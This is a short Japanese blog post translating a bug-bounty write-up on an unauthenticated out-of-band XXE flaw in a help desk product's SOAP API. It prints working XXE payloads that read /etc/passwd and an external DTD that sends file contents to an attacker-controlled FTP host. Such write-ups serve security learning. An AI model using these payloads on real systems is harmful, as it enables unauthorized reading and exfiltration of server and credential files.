Shikata Ga Nai

Private? There is no such things.

SOAP- Based Unauthenticated Out-of-Band XML External Entity (OOB-XXE) in a Help Desk Softwareを訳してみた

Hello there, ('ω')ノ

 

ヘルプ デスク ソフトウェアの SOAP ベースの認証されていない

アウトオブバンド XML 外部エンティティ (OOB-XXE)を。

 

脆弱性:

 XXE

 

記事:

 https://infosecwriteups.com/soap-based-unauthenticated-out-of-band-xml-external-entity-oob-xxe-in-a-help-desk-software-c27a6abf182a

 

今回は、アプリケーションの登録中に、次のような wsdl ファイルを取得して。

 

 https://victim.com/services/ApiService?wsdl

 

以下の画像に示すように、wsdler burp 拡張機能を使用して

wsdl ファイルを解析して。

 

 

ここで、リピータにリクエストを送信し、XXE のファジングを開始し。

まず、次のようなクラシック XXE ペイロードから始めて。

 

<?xml version=”1.0"?><!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY file SYSTEM “file:///etc/passwd”>]><data>&file;</data>

 

/etc/passwdファイルの場合


/etc/shadowファイルの場合

 

ご覧のとおり、上記 2 つの応答から脆弱性の存在を確認できますが、

サーバからファイルを列挙することしかできず。

ファイルの内容を抽出するには、FTP サーバをエミュレートする必要があり

次のペイロードを使用してサーバ上に xxe.dtd ファイルをセットアップして。

 

<!ENTITY % d SYSTEM “file:///etc/passwd”><!ENTITY % c “<!ENTITY rrr SYSTEM ‘ftp://x.x.x.x:2121/%d;'>">

 

次のリンクからエミュレートされた FTP サーバをダウンロードして実行し

リッスンするポートを確認して。


ONsec-Lab/スクリプト:

https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb

 

ここで、次のような脆弱なリクエストに

次の XXE ペイロードを入力する必要があって。

 

<!DOCTYPE a [ <!ENTITY % asd SYSTEM "http://x.x.x.x/xxe.dtd"> %asd; %c;]> <sessionId>&rrr;</sessionId>

 

最終的な XXE ペイロード

 

脆弱なリクエストを実行するとすぐに、以下のスクリーンショットに示すように、

エミュレートされた FTP サーバで /etc/passwd ファイルのコンテンツの受信が

開始されて。

 

 

Best regards, (^^ゞ